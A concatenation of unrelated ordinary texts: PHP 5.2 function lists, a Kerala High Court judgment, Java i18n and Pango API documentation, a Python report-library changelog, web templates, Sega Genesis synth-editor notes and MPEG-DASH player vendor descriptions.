---
title: New Functions
version: "5.2"
tags:
- "5.2"
- functions
---
New Functions
PHP 5.2.x introduced some new functions:
PHP Core:
Image:
libXML:
mbstring:
-
mb_stripos()
- Finds position of first occurrence of a string within another,
case insensitive
-
mb_stristr()
- Finds first occurrence of a string within another, case insensitive
-
mb_strrchr()
- Finds the last occurrence of a character in a string within another
-
mb_strrichr()
- Finds the last occurrence of a character in a string within another,
case insensitive
-
mb_strripos()
- Finds position of last occurrence of a string within another,
case insensitive
-
mb_strstr()
- Finds first occurrence of a string within another
ming (As of PHP 5.2.1):
-
void ming_setSWFCompression(int num)
- Sets output compression
-
void swfmovie::namedanchor(string name)
- Creates anchor
-
void swfmovie::protect([string password])
- Protects
openssl:
spl:
-
spl_object_hash()
- Return hash id for given object
-
int iterator_apply(Traversable it, mixed function [, mixed params])
- Calls a function for every element in an iterator
pcre:
pgsql:
-
pg_field_table()
- Returns the name of the table field belongs to, or table's oid
if
oid_only
is true
posix:
gmp:
xmlwriter:


Try out our Premium Member services: Virtual Legal Assistant, Query Alert Service and an ad-free experience. Free for one month and pay only if you like it.
IN THE HIGH COURT OF KERALA AT ERNAKULAM PRESENT: THE HONOURABLE MR.JUSTICE K.VINOD CHANDRAN WEDNESDAY, THE 21ST DAY OF DECEMBER 2016/30TH AGRAHAYANA, 1938 WP(C).No. 31063 of 2016 (G) ---------------------------- PETITIONER(S): ------------- 1. SHIBU P.C. AGED 43 YEARS, S/O.CHACKO, PARAKALAYIL HOUSE, MEMURY (PO), KOTTAYAM DISTRICT 2. WILSON PAUL C&C ENCLAVE, FLAT NO. FF 01, MEMURY (PO), KOTTAYAM DISTRICT BY ADV. SRI.JOBI JOSE KONDODY RESPONDENT(S): -------------- 1. THE KERALA STATE POLLUTION CONTROL BOARD REPRESENTED BY ITS MEMBER SECRETARY, PATTOM (PO), THIRUVANANTHAPURAM 695004 2. THE ENVIRONMENTAL ENGINEER KERALA STATE POLLUTION CONTROL BOARD, DISTRICT OFFICE, SREENIVASA IYER ROAD, KOTTAYAM 686001 ADDL. RESPONDENTS* 3. STATE OF KERALA, REPRESENTED BY THE CHIEF SECRETARY (* SUO MOTU IMPLEADED AS PER ORDER DTD. 28.10.16) R-RADDL R-R3 BY ADV. GOVERNMENT PLEADER SRI.SURIN GEORGE IPE (SR.) R1-2 BY SRI.  WP(C).No. 31063 of 2016 (G) --------------------------- RESPONDENT(S)' EXHIBITS ----------------------- ANNEXURE R2(A) COPY OF THE CONSENT REFUSAL INTENTION NOTICE DTD. 11.7.16 ISSUED TO THE PETITIONER. ANNEXURE R2(B) CIRCULAR NO.PCB/TAC/18/2004 DTD. 9.8.04 OF THE MEMBER SECRETARY OF POLLUTION CONTROL BOARD ANNEXURE R2(C) COPY OF THE CONSENT REFUSAL ORDER DTD. 27.7.16 ISSUED TO THE PETITIONER. // TRUE COPY // P.A TO JUDGE SB K. VINOD CHANDRAN, J. ===================== W.P.(C) No.31063 of 2016- G ====================== Dated this the 21st day of December, 2016 J U D G M E N T
The petitioners were aggrieved with the order passed by the Kerala State Pollution Control Board (PCB), refusing consent to establish, produced as Ext.P9. Ideally, the petitioners ought to have challenged the same before the Appellate Authority constituted under the Air (Prevention & Control of Pollution) Act 1981 (for brevity 'the Air Act). The petitioners also filed the same as is indicated from Ext.P12, produced subsequently along with the interlocutory application. However, the consideration was not be made, since there was no appellate authority constituted as per the Air Act. As of now, the Government has constituted the appellate authority by notification G.O(P) No.5/2016/Envt. 2 W.P.(C) No.31063 of 2016- G dated 20.12.2016. In such circumstance, there shall be a direction that the matter shall be taken up and shall be considered for any interim orders, within a period of one month from the date of receipt of a certified copy of this judgment.
Leaving open all contentions, the writ petition would stand disposed of.
Sd/-
K. VINOD CHANDRAN, JUDGE SB/21/12//2016 // true copy // P.A to Judge


The utilities in org.codehaus.spice.salt.i18n
assist
you in retrieving strings and other values from i18n'ed ResourceBundles.
The ResourceBundles are resolved on the first request for a resource.
The ResourceBundles are also cached so that multiple requests for the
same i18n resource in the same classloader will result in accessing of
cached versions.
The ResourceManager allows you to load resources for an individual class or for entire package. The name of ResourceBundle created for the class is the same as the name of the Class with the string "Resources" appended. The package resources ResourceBundle name is the same as the name of the package with "Resources" appended.
Looking up the class resources for com.biz.MyClass would result in looking up ResourceBundle named com.biz.MyClassResources which usually means looking up the properties file com/biz/MyClassResources.properties. Looking up the package resources for same class would result in looking up ResourceBundle named com.biz.Resources often stored in properties file com/biz/Resources.properties.
bland.message=This is message without substitution! param.message=Hello {0}! Are you feeling {1}? sunlight.ratio=7.4
import org.codehaus.spice.salt.i18n.ResourceManager; import org.codehaus.spice.salt.i18n.Resources; /** * Demonstrates the i18n utilities. * * @author Peter Donald */ public class I18nDemo { /** * i18n resources for used to present messages. */ private static final Resources REZ = ResourceManager.getPackageResources( I18nDemo.class ); public static void main( final String[] args ) { String message = null; message = REZ.getString( "bland.message" ) assert( message.equals( "This is message without substitution!" ) ); message = REZ.getString( "nonexistent.message", "This is default message!" ) assert( message.equals( "This is default message!" ) ); message = REZ.getString( "param.message" ) assert( message.equals( "Hello {0}! Are you feeling {1}?" ) ); message = REZ.format( "param.message", "Bob", "well" ) assert( message.equals( "Hello Bob! Are you feeling well?" ) ); double value = REZ.getDouble( "sunlight.ratio" ) assert( value == 7.4 ); } }@since 4.0


Bus stop:
[name]
ID:
[id]
Location:
[lat]
,
[lng]
List of lines:
[Line number]
Arrivals:
[Next bus]
Nearby:
[Bus stop, tube, bike]


Changelog
v1.6.5 (2012-09-21)
- Added titleband and reportheader to Report object; Added Image and
ImageRenderer classes; Updated reference documentation to include all
these features. [Chris Gonnerman]
- Changed SumElement.summarize to treat None as integer 0. [Chris
Gonnerman]
- Fixed missing comma in setup.py. [Chris Gonnerman]
v1.6.3 (2012-08-03)
- Many minor documentation updates. [Chris Gonnerman]
- Updated docs, added changelog generation using gitchangelog. [Chris
Gonnerman]
- Removed .gitignore from .gitignore. [Chris Gonnerman]
v1.6.1 (2012-07-29)
- Changed heuristic for group header orphan avoidance; now uses average
detail height averaged with maximum detail height. [Chris Gonnerman]
v1.6 (2012-07-27)
- Group headers now use average detail band length to avoid at least
some "orphan" header band situations. [Chris Gonnerman]
v1.5.1 (2012-07-12)
- Corrected sample programs to use "align =" instead of "right =" [Chris
Gonnerman]
- Updated project status in setup.py. [Chris Gonnerman]
v1.5 (2012-06-22)
- Updated description in setup.py. [Chris Gonnerman]
- Updated to 1.5 for PyPI. [Chris Gonnerman]
- Now handles empty recordsets intelligently. [Chris Gonnerman]
- Updated documentation. [Chris Gonnerman]
- Page headers now generate with prevrow rather than row IF the page was
forced by a group footer. [Chris Gonnerman]
- Minor docs.html update. [Chris Gonnerman]
v1.4 (2012-06-19)
- Updated version number for pypi; changed from right = 1 to align =
"right" (and added support for "center" and "align" options); updated
documentation. [Chris Gonnerman]
- Changed 'right = n' to 'align = left/right/center'; added
Report.leftmargin. [Chris Gonnerman]
v1.3 (2012-06-18)
- Updated version number for PyPI. [Chris Gonnerman]
- Corrected handling of multiple group headers and footers; documented
these changes also. [Chris Gonnerman]
- Updated tutorial.html. [Chris Gonnerman]
- Merge branch 'master' of https://github.com/Solomoriah/PollyReports.
[Chris Gonnerman]
- Added tutorial files to repo. [Chris Gonnerman]
- Updated docs.rst for 1.2. [Chris Gonnerman]
v1.2 (2012-06-17)
- Updated version number in setup.py. [Chris Gonnerman]
- Separated test rig from main PollyReports.py source file; Enabled
setting of band attributes in Report initialization. [Chris Gonnerman]
- Corrected issue with thick rules not being positioned correctly.
[Chris Gonnerman]
- Corrected issues with Rule objects in child bands. [Chris Gonnerman]
- Added initial documentation. [Chris Gonnerman]
v1.1 (2012-06-16)
- Updated version in setup.py to make PyPI happy. [Chris Gonnerman]
v1.0 (2012-06-16)
- Corrected bug in setup.py. [Chris Gonnerman]
- Updated for PyPI distribution. [Chris Gonnerman]
- Added onrender() event support. [Chris Gonnerman]
- Added sysvar support to Elements (to support page numbering, mainly);
also compacted test data for easier readability. [Chris Gonnerman]
- Added newpageafter option for Bands (newpagebefore was already
present) [Chris Gonnerman]
- Child band support has been added. [Chris Gonnerman]
- Group headers and footers now implemented. [Chris Gonnerman]
- Added report footer handler. [Chris Gonnerman]
- Added better test data. [Chris Gonnerman]
- Added Rule class, which is both an Element and a Renderer (in terms of
duck-typing); Corrected issue with band height calculation. [Chris
Gonnerman]
- Updated README. [Chris Gonnerman]
- Added page header and footer support. [Chris Gonnerman]


{% with screen_background=data.website.members_background,screen_title='Members' %}
{% include 'screen.html' %}
{% endwith %}
{% for group in data.members %}
{{ group.title }}
{% for member in group.members %}
{% if member.year %}
{% include 'member_alumnus.html' %}
{% else %}
{% include 'member_current.html' %}
{% endif %}
{% endfor %}


Variables allow us to store a reference to a value to be referred to later or "remembered." When we create a new variable, we are declaring it, which means our code now recognizes it as a "thing." Variables are created using the var keyword. Variable names cannot start with a number, contain spaces, or use a word that is already reserved for something else. It also cannot use any punctuation expect "_" or "$".


Resume Details
{% if text %} Here's some text to make the copy paste easier! {% endif %}
{% if text %} {{ text }} {% endif %}
Personal Details
United States
United Kingdom
Afghanistan
Albania
Algeria
American Samoa
Andorra
Angola
Anguilla
Antarctica
Antigua and Barbuda
Argentina
Armenia
Aruba
Australia
Austria
Azerbaijan
Bahamas
Bahrain
Bangladesh
Barbados
Belarus
Belgium
Belize
Benin
Bermuda
Bhutan
Bolivia
Bosnia and Herzegovina
Botswana
Bouvet Island
Brazil
British Indian Ocean Territory
Brunei Darussalam
Bulgaria
Burkina Faso
Burundi
Cambodia
Cameroon
Canada
Cape Verde
Cayman Islands
Central African Republic
Chad
Chile
China
Christmas Island
Cocos (Keeling) Islands
Colombia
Comoros
Congo
Congo, The Democratic Republic of The
Cook Islands
Costa Rica
Cote D'ivoire
Croatia
Cuba
Cyprus
Czech Republic
Denmark
Djibouti
Dominica
Dominican Republic
Ecuador
Egypt
El Salvador
Equatorial Guinea
Eritrea
Estonia
Ethiopia
Falkland Islands (Malvinas)
Faroe Islands
Fiji
Finland
France
French Guiana
French Polynesia
French Southern Territories
Gabon
Gambia
Georgia
Germany
Ghana
Gibraltar
Greece
Greenland
Grenada
Guadeloupe
Guam
Guatemala
Guinea
Guinea-bissau
Guyana
Haiti
Heard Island and Mcdonald Islands
Holy See (Vatican City State)
Honduras
Hong Kong
Hungary
Iceland
India
Indonesia
Iran, Islamic Republic of
Iraq
Ireland
Israel
Italy
Jamaica
Japan
Jordan
Kazakhstan
Kenya
Kiribati
Korea, Democratic People's Republic of
Korea, Republic of
Kuwait
Kyrgyzstan
Lao People's Democratic Republic
Latvia
Lebanon
Lesotho
Liberia
Libyan Arab Jamahiriya
Liechtenstein
Lithuania
Luxembourg
Macao
Macedonia, The Former Yugoslav Republic of
Madagascar
Malawi
Malaysia
Maldives
Mali
Malta
Marshall Islands
Martinique
Mauritania
Mauritius
Mayotte
Mexico
Micronesia, Federated States of
Moldova, Republic of
Monaco
Mongolia
Montserrat
Morocco
Mozambique
Myanmar
Namibia
Nauru
Nepal
Netherlands
Netherlands Antilles
New Caledonia
New Zealand
Nicaragua
Niger
Nigeria
Niue
Norfolk Island
Northern Mariana Islands
Norway
Oman
Pakistan
Palau
Palestinian Territory, Occupied
Panama
Papua New Guinea
Paraguay
Peru
Philippines
Pitcairn
Poland
Portugal
Puerto Rico
Qatar
Reunion
Romania
Russian Federation
Rwanda
Saint Helena
Saint Kitts and Nevis
Saint Lucia
Saint Pierre and Miquelon
Saint Vincent and The Grenadines
Samoa
San Marino
Sao Tome and Principe
Saudi Arabia
Senegal
Serbia and Montenegro
Seychelles
Sierra Leone
Singapore
Slovakia
Slovenia
Solomon Islands
Somalia
South Africa
South Georgia and The South Sandwich Islands
Spain
Sri Lanka
Sudan
Suriname
Svalbard and Jan Mayen
Swaziland
Sweden
Switzerland
Syrian Arab Republic
Taiwan, Province of China
Tajikistan
Tanzania, United Republic of
Thailand
Timor-leste
Togo
Tokelau
Tonga
Trinidad and Tobago
Tunisia
Turkey
Turkmenistan
Turks and Caicos Islands
Tuvalu
Uganda
Ukraine
United Arab Emirates
United Kingdom
United States
United States Minor Outlying Islands
Uruguay
Uzbekistan
Vanuatu
Venezuela
Viet Nam
Virgin Islands, British
Virgin Islands, U.S.
Wallis and Futuna
Western Sahara
Yemen
Zambia
Zimbabwe
Date of Birth:
Place of Birth:
Experience Details
{% for exp in experience %}
{% endfor %}
Education Details
{% for univ in universities %}
{% endfor %}
Skills
{% for skill in skills %}
{% endfor %}
Projects
{% for source in openSource %}
{% endfor %}
Hobbies
{% for hobby in hobbies %}
{% endfor %}
Contact Information


SEGA GENESIS INSTRUMENTS EDITOR MENU:
Global Values:
FMS: FMS (frequency modulation sensitivity) is the degree to which the channel is affected by the LFO.
AMS: AMS (amplitude modulation sensitivity) is the degree to which the channel is affected by the LFO.
FB: Feedback is the degree to which operator 1 feeds back into itself.
ALG: The operators may be arranged in eight different configurations, called ALG (Algorithms).
And each individual operator has this own values:
MULT: MULT ranges from 0 to 15 (decimal), and multiplies the overall frequency
DT: DT gives small variations from the overall frequency × MULT.
TL: Total level, the highest amplitude of the envelope.
AR: Attack rate, the angle of initial amplitude increase.
DR: The angle of initial amplitude decrease.
D2R: The angle of secondary amplitude decrease. This will continue indefinitely unless ‘key off’ occurs.
SL: The amplitude at which the slower amplitude decrease starts.
RR: The final angle of amplitude decrease, after ‘key off’.
RS: Rate scaling, the degree to which envelopes become shorter as frequencies become higher. For example, high notes on a piano fade much more quickly than low notes.
SSG-EG: This slider will set the SSG-EG behavior, it will modify the operator's level dinamically, following the next shapes:
AM Checkbox: Amplitude Modulation enable, whether or not this operator will allow itself to be modified by the LFO. Changing the amplitude of the slots (those colored gray in the diagram on page 3) changes the loudness of the note; changing the amplitude of the other operators changes its flavor.
SSG-EG Checkbox: SSG-EG control enable, this control will enable or disable the above explained slider (SSG-EG).
The sound starts when the key is depressed, a process called ‘key on’. The sound has an attack, a strong primary decay, followed by a slow secondary decay. The sound continues this secondary decay until the key is released, a process called ‘key off’. The sound then begins a rapid final decay, representing for example a piano note after the key has been released and the damper has come down on the strings.
The envelope is represented by the above amplitudes and angles.


| enum | PangoScript |
| #define | PANGO_TYPE_SCRIPT |
| PangoScriptIter | |
| PangoLanguage | |
| #define | PANGO_TYPE_LANGUAGE |
The functions in this section are used to identify the writing system, or script of individual characters and of ranges within a larger text string.
PangoScript
pango_script_for_unichar (gunichar ch
);
Looks up the PangoScript for a particular character (as defined by
Unicode Standard Annex #24). No check is made for ch
being a
valid Unicode character; if you pass in invalid character, the
result is undefined.
As of Pango 1.18, this function simply returns the return value of
g_unichar_get_script()
.
Since: 1.4
PangoLanguage *
pango_script_get_sample_language (PangoScript script
);
Given a script, finds a language tag that is reasonably
representative of that script. This will usually be the
most widely spoken or used language written in that script:
for instance, the sample language for PANGO_SCRIPT_CYRILLIC
is ru
(Russian), the sample language
for PANGO_SCRIPT_ARABIC
is ar
.
For some
scripts, no sample language will be returned because there
is no language that is sufficiently representative. The best
example of this is PANGO_SCRIPT_HAN
, where various different
variants of written Chinese, Japanese, and Korean all use
significantly different sets of Han characters and forms
of shared characters. No sample language can be provided
for many historical scripts as well.
As of 1.18, this function checks the environment variables
PANGO_LANGUAGE and LANGUAGE (checked in that order) first.
If one of them is set, it is parsed as a list of language tags
separated by colons or other separators. This function
will return the first language in the parsed list that Pango
believes may use script
for writing. This last predicate
is tested using pango_language_includes_script()
. This can
be used to control Pango's font selection for non-primary
languages. For example, a PANGO_LANGUAGE enviroment variable
set to "en:fa" makes Pango choose fonts suitable for Persian (fa)
instead of Arabic (ar) when a segment of Arabic text is found
in an otherwise non-Arabic text. The same trick can be used to
choose a default language for PANGO_SCRIPT_HAN
when setting
context language is not feasible.
a PangoLanguage that is representative
of the script, or NULL
if no such language exists.
[nullable]
Since: 1.4
PangoScriptIter * pango_script_iter_new (const char *text
,int length
);
Create a new PangoScriptIter, used to break a string of
Unicode text into runs by Unicode script. No copy is made of
text
, so the caller needs to make sure it remains valid until
the iterator is freed with pango_script_iter_free()
.
the new script iterator, initialized
to point at the first range in the text, which should be
freed with pango_script_iter_free()
. If the string is
empty, it will point at an empty range.
Since: 1.4
void pango_script_iter_get_range (PangoScriptIter *iter
,const char **start
,const char **end
,PangoScript *script
);
Gets information about the range to which iter
currently points.
The range is the set of locations p where *start <= p < *end.
(That is, it doesn't include the character stored at *end)
Since: 1.4
gboolean
pango_script_iter_next (PangoScriptIter *iter
);
Advances a PangoScriptIter to the next range. If iter
is already at the end, it is left unchanged and FALSE
is returned.
Since: 1.4
void
pango_script_iter_free (PangoScriptIter *iter
);
Frees a PangoScriptIter created with pango_script_iter_new()
.
Since: 1.4
PangoLanguage *
pango_language_from_string (const char *language
);
Take a RFC-3066 format language tag as a string and convert it to a PangoLanguage pointer that can be efficiently copied (copy the pointer) and compared with other language tags (compare the pointer.)
This function first canonicalizes the string by converting it to lowercase, mapping '_' to '-', and stripping all characters other than letters and '-'.
Use pango_language_get_default()
if you want to get the PangoLanguage for
the current locale of the process.
an opaque pointer to a
PangoLanguage structure, or NULL
if language
was
NULL
. The returned pointer will be valid forever
after, and should not be freed.
[transfer none][nullable]
const char *
pango_language_to_string (PangoLanguage *language
);
Gets the RFC-3066 format string representing the given language tag.
gboolean pango_language_matches (PangoLanguage *language
,const char *range_list
);
Checks if a language tag matches one of the elements in a list of language ranges. A language tag is considered to match a range in the list if the range is '*', the range is exactly the tag, or the range is a prefix of the tag, and the character after it in the tag is '-'.
language |
a language tag (see |
[nullable] |
range_list |
a list of language ranges, separated by ';', ':',
',', or space characters.
Each element must either be '*', or a RFC 3066 language range
canonicalized as by |
gboolean pango_language_includes_script (PangoLanguage *language
,PangoScript script
);
Determines if script
is one of the scripts used to
write language
. The returned value is conservative;
if nothing is known about the language tag language
,
TRUE
will be returned, since, as far as Pango knows,
script
might be used to write language
.
This routine is used in Pango's itemization process when determining if a supplied language tag is relevant to a particular section of text. It probably is not useful for applications in most circumstances.
This function uses pango_language_get_scripts()
internally.
TRUE
if script
is one of the scripts used
to write language
or if nothing is known about language
(including the case that language
is NULL
),
FALSE
otherwise.
Since: 1.4
const PangoScript * pango_language_get_scripts (PangoLanguage *language
,int *num_scripts
);
Determines the scripts used to to write language
.
If nothing is known about the language tag language
,
or if language
is NULL
, then NULL
is returned.
The list of scripts returned starts with the script that the
language uses most and continues to the one it uses least.
The value num_script
points at will be set to the number
of scripts in the returned array (or zero if NULL
is returned).
Most languages use only one script for writing, but there are
some that use two (Latin and Cyrillic for example), and a few
use three (Japanese for example). Applications should not make
any assumptions on the maximum number of scripts returned
though, except that it is positive if the return value is not
NULL
, and it is a small number.
The pango_language_includes_script()
function uses this function
internally.
language |
a PangoLanguage, or |
[allow-none] |
num_scripts |
location to return number of scripts,
or |
[out caller-allocates][allow-none] |
An array of
PangoScript values, with the number of entries in the array stored
in num_scripts
, or NULL
if Pango does not have any information
about this particular language tag (also the case if language
is
NULL
). The returned array is owned by Pango and should not be
modified or freed.
[array length=num_scripts][nullable]
Since: 1.22
PangoLanguage *
pango_language_get_default (void
);
Returns the PangoLanguage for the current locale of the process. Note that this can change over the life of an application.
On Unix systems, this is the return value is derived from
setlocale(LC_CTYPE, NULL)
, and the user can
affect this through the environment variables LC_ALL, LC_CTYPE or
LANG (checked in that order). The locale string typically is in
the form lang_COUNTRY, where lang is an ISO-639 language code, and
COUNTRY is an ISO-3166 country code. For instance, sv_FI for
Swedish as written in Finland or pt_BR for Portuguese as written in
Brazil.
On Windows, the C library does not use any such environment
variables, and setting them won't affect the behavior of functions
like ctime()
. The user sets the locale through the Regional Options
in the Control Panel. The C library (in the setlocale()
function)
does not use country and language codes, but country and language
names spelled out in English.
However, this function does check the above environment
variables, and does return a Unix-style locale string based on
either said environment variables or the thread's current locale.
Your application should call setlocale(LC_ALL, "");
for the user settings to take effect. Gtk+ does this in its initialization
functions automatically (by calling gtk_set_locale()
).
See man setlocale
for more details.
Since: 1.16
const char *
pango_language_get_sample_string (PangoLanguage *language
);
Get a string that is representative of the characters needed to render a particular language.
The sample text may be a pangram, but is not necessarily. It is chosen to be demonstrative of normal text in the language, as well as exposing font feature requirements unique to the language. It is suitable for use as sample text in a font selection dialog.
If language
is NULL
, the default language as found by
pango_language_get_default()
is used.
If Pango does not have a sample string for language
, the classic
"The quick brown fox..." is returned. This can be detected by
comparing the returned pointer value to that returned for (non-existent)
language code "xx". That is, compare to:
1 |
pango_language_get_sample_string (pango_language_from_string ("xx")) |
The PangoScript enumeration identifies different writing systems. The values correspond to the names as defined in the Unicode standard. Note that new types may be added in the future. Applications should be ready to handle unknown values. This enumeration is interchangeable with GUnicodeScript. See Unicode Standard Annex 24: Script names.
|
a value never returned from |
||
|
a character used by multiple different scripts |
||
|
a mark glyph that takes its script from the base glyph to which it is attached |
||
|
Arabic |
||
|
Armenian |
||
|
Bengali |
||
|
Bopomofo |
||
|
Cherokee |
||
|
Coptic |
||
|
Cyrillic |
||
|
Deseret |
||
|
Devanagari |
||
|
Ethiopic |
||
|
Georgian |
||
|
Gothic |
||
|
Greek |
||
|
Gujarati |
||
|
Gurmukhi |
||
|
Han |
||
|
Hangul |
||
|
Hebrew |
||
|
Hiragana |
||
|
Kannada |
||
|
Katakana |
||
|
Khmer |
||
|
Lao |
||
|
Latin |
||
|
Malayalam |
||
|
Mongolian |
||
|
Myanmar |
||
|
Ogham |
||
|
Old Italic |
||
|
Oriya |
||
|
Runic |
||
|
Sinhala |
||
|
Syriac |
||
|
Tamil |
||
|
Telugu |
||
|
Thaana |
||
|
Thai |
||
|
Tibetan |
||
|
Canadian Aboriginal |
||
|
Yi |
||
|
Tagalog |
||
|
Hanunoo |
||
|
Buhid |
||
|
Tagbanwa |
||
|
Braille |
||
|
Cypriot |
||
|
Limbu |
||
|
Osmanya |
||
|
Shavian |
||
|
Linear B |
||
|
Tai Le |
||
|
Ugaritic |
||
|
New Tai Lue. Since 1.10 |
||
|
Buginese. Since 1.10 |
||
|
Glagolitic. Since 1.10 |
||
|
Tifinagh. Since 1.10 |
||
|
Syloti Nagri. Since 1.10 |
||
|
Old Persian. Since 1.10 |
||
|
Kharoshthi. Since 1.10 |
||
|
an unassigned code point. Since 1.14 |
||
|
Balinese. Since 1.14 |
||
|
Cuneiform. Since 1.14 |
||
|
Phoenician. Since 1.14 |
||
|
Phags-pa. Since 1.14 |
||
|
N'Ko. Since 1.14 |
||
|
Kayah Li. Since 1.20.1 |
||
|
Lepcha. Since 1.20.1 |
||
|
Rejang. Since 1.20.1 |
||
|
Sundanese. Since 1.20.1 |
||
|
Saurashtra. Since 1.20.1 |
||
|
Cham. Since 1.20.1 |
||
|
Ol Chiki. Since 1.20.1 |
||
|
Vai. Since 1.20.1 |
||
|
Carian. Since 1.20.1 |
||
|
Lycian. Since 1.20.1 |
||
|
Lydian. Since 1.20.1 |
||
|
Batak. Since 1.32 |
||
|
Brahmi. Since 1.32 |
||
|
Mandaic. Since 1.32 |
||
|
Chakma. Since: 1.32 |
||
|
Meroitic Cursive. Since: 1.32 |
||
|
Meroitic Hieroglyphs. Since: 1.32 |
||
|
Miao. Since: 1.32 |
||
|
Sharada. Since: 1.32 |
||
|
Sora Sompeng. Since: 1.32 |
||
|
Takri. Since: 1.32 |
||
|
Bassa. Since: 1.40 |
||
|
Caucasian Albanian. Since: 1.40 |
||
|
Duployan. Since: 1.40 |
||
|
Elbasan. Since: 1.40 |
||
|
Grantha. Since: 1.40 |
||
|
Kjohki. Since: 1.40 |
||
|
Khudawadi, Sindhi. Since: 1.40 |
||
|
Linear A. Since: 1.40 |
||
|
Mahajani. Since: 1.40 |
||
|
Manichaean. Since: 1.40 |
||
|
Mende Kikakui. Since: 1.40 |
||
|
Modi. Since: 1.40 |
||
|
Mro. Since: 1.40 |
||
|
Nabataean. Since: 1.40 |
||
|
Old North Arabian. Since: 1.40 |
||
|
Old Permic. Since: 1.40 |
||
|
Pahawh Hmong. Since: 1.40 |
||
|
Palmyrene. Since: 1.40 |
||
|
Pau Cin Hau. Since: 1.40 |
||
|
Psalter Pahlavi. Since: 1.40 |
||
|
Siddham. Since: 1.40 |
||
|
Tirhuta. Since: 1.40 |
||
|
Warang Citi. Since: 1.40 |
||
|
Ahom. Since: 1.40 |
||
|
Anatolian Hieroglyphs. Since: 1.40 |
||
|
Hatran. Since: 1.40 |
||
|
Multani. Since: 1.40 |
||
|
Old Hungarian. Since: 1.40 |
||
|
Signwriting. Since: 1.40 |
typedef struct _PangoScriptIter PangoScriptIter;
A PangoScriptIter is used to iterate through a string and identify ranges in different scripts.
typedef struct _PangoLanguage PangoLanguage;
The PangoLanguage structure is used to represent a language.
PangoLanguage pointers can be efficiently copied and compared with each other.
#define PANGO_TYPE_LANGUAGE (pango_language_get_type ())
The GObject type for PangoLanguage.


A wide variety of commercial client and player component software is already available for the playback of MPEG-DASH. This page details the client software available today from DASH Industry Forum members: Aricent, AvidBeam, bitdash, BuyDRM, castlabs, Digital Primates, InterDigital, NexStreaming, Qualcomm, RealNetworks, StreamOne, Viaccess-Orca and VisualOn. Opens-source client implementations, including dash.js, can be located in the Software tab above.
Aricent has developed a feature-rich DASH Streaming player that supports the delivery of MPEG-DASH (Dynamic Adaptive Streaming over HTTP). The DASH SDK is a media applications development framework which addresses the interoperability and convergence needs to provide a rich and enjoyable user experience. Key features available as a part of the DASH streaming Player include
- Loose Coupling of Protocol Stack
- Low CPU Utilization
- Buffer Mode support
- Configurable Buffer Size
- Support for On-demand and live streaming
- Portable/extensible solution across Platforms
- Bit-Rate adaptation based on network conditions
- Support for streaming over IPV6
Key benefits of our SDK include,
- Single solution with support for both MP4 and MPEG-2 TS segments
- DRM integration
- Closed caption support
- Multiple Audio Channels
- Seamless network congestion adaptation
- Bandwidth adaption based on consumer activity
In addition to MPEG-DASH, Aricent also has deep domain expertise in Multimedia solutions and Streaming stacks like RTSP/ RTP, Progressive Download, HTTP Live Streaming, Microsoft Smooth Streaming, and Video & Voice Solutions. Our multimedia frameworks are deployed in over 120 million devices annually and have been shipped in over 700 million devices across the globe to date. For further information got to https://www.aricent.com/software/media-and-entertainment-software.html
AvidBeam Technologies is a leading organization focusing on multimedia services and products innovation to deliver the best Video experience to end users over any network. AvidBeam’s technology strengths are based on world-class R&D team composed of media architects, software engineers and computer scientists with a proven track-record in technologies such as media streaming, videoconferencing, platform context awareness, wearables and Internet of Things video needs.
AvidBeam has developed a Peer-to-Peer Inspired, Novel and Enhanced Dynamic Adaptive Streaming over HTTP application (PINE DASH). Please check AvidBeam YouTube channel for a video that illustrates a comparison between AvidBeam’s PINE DASH vs basic rate-based DASH. The evaluation of both techniques affirmed the fact that PINE DASH has led to significant increases in both download rates (279%) and quality indicators such as media bitrates (41%) which resulted in compelling improvement in the quality of end-user’s video-streaming experience.
AvidBeam DASH Video Streaming Client SDK supports:
- ISO DASH MPEG WG profile for on-demand and live streaming
- Common Encryption Protocol for Digital Rights Management (DRM) support
- Multiple Dynamic Adaptive Streaming Protocols (DASH, HLS, HDS, SS)
- text & advertisement rendering and playback
- H.264 & HEVC codec streaming
- Supports Android, Windows and IOS operating systems.
For Further information please visit www.avidbeam.com
bitdash™ is a suite of highly optimized MPEG-DASH clients for various platforms and devices, delivering the best streaming performance and user experience, particular in adverse (mobile) network conditions. Bitdash is based on HTML5 with a Flash fallback. The MPEG-DASH player supports the most common streaming servers like bitcodin, Wowza, nginx, Path1, Unified Streaming, Akamai etc. An API, DRM, Ads support and reporting are just a few of the many interesting features of the player.
Key Facts:
- MPEG-DASH playback on any web-platform using HTML5 (MSE) or Flash as fallback
- MPEG-DASH playback on mobile devices using HTML5 (MSE)
- Broad streaming server and encoder support for Live and on Demand (bitcodin, nginx, Wowza, Elemental, Unified Streaming, Akamai, …)
- Unified API for booth, the bitdash HTML5 as well as Flash MPEG-DASH player
- Comprehensive interfaces for reporting and analytics
- Effective DASH Adaptation Logic, enabling short startup delays, reduced bufferings and highest quality even in toughest environments
- Up to 101 % higher effective media throughput compared to other solutions = Higher Quality for the User
- Ads support and Ads ingetragion (VAST)
- Fully compatible to Third Party DRM systems
- Comprehensive test content and documentation
Demo Area:
- Live as well as on demand
- Various DASH 264 test vectors
- Showcases on closed captions/subtitles
- Efficient usage of multi audio and language, resulting in minimized storage costs
- Visit bitdash’s demo area to try the MPEG-DASH player.
For further information and your free player trial please have a look on www.dash-player.com
BuyDRM’s KeyOS Platform offers three DASH-centric technologies including: Smooth DRM CENC Encryption and Licensing platform, KeyOS Media Server for Muxing, Encryption and Delivery and KeyOS Device DRM Agents for Android and iOS.For DASH support we provide fully-mature development SDKs which include complete documentation, sample playback applications, a 24/7/365 Development Support Team and when necessary, direct support from our SDK Development engineering group.Our Android SDK includes our very popular Android player with our Device DRM Agent for Android. This player is highly customizable and supports all of today’s popular consumer scenarios. We support live, on-demand, streaming and download offline playback in our KeyOS Device DRM Agent for iOS and our KeyOS Device DRM Agent for Android.
KeyOS Device DRM Features:
- CENC and PlayReady Encryption
- MP3 and MP4 local and streaming
- MSFT Smooth Streaming local (offline) and streaming
- HLS v4.0 Streaming
- MPEG -TS VOD and LIVE MPEG-DASH
- MPEG-DASH Time-based, Index-based, ISOFF Live and ISOFF On-Demand Profiles
- H.264, AAC-HE v1 and v2, AAC-LC
- Dolby Digital+
Integrity and Anti-debugger Checks
Code Obfuscation
Variable speed playback
Buffering control
PlayReady License Chaining
eMBMS / FLUTE support
Multiple Audio Tracks for Smooth Streaming and HLS v4
Subtitles / Closed captions / External (DFXP), Internal / Embedded (DFXP)
Android 2.2+
iOS 4.0+
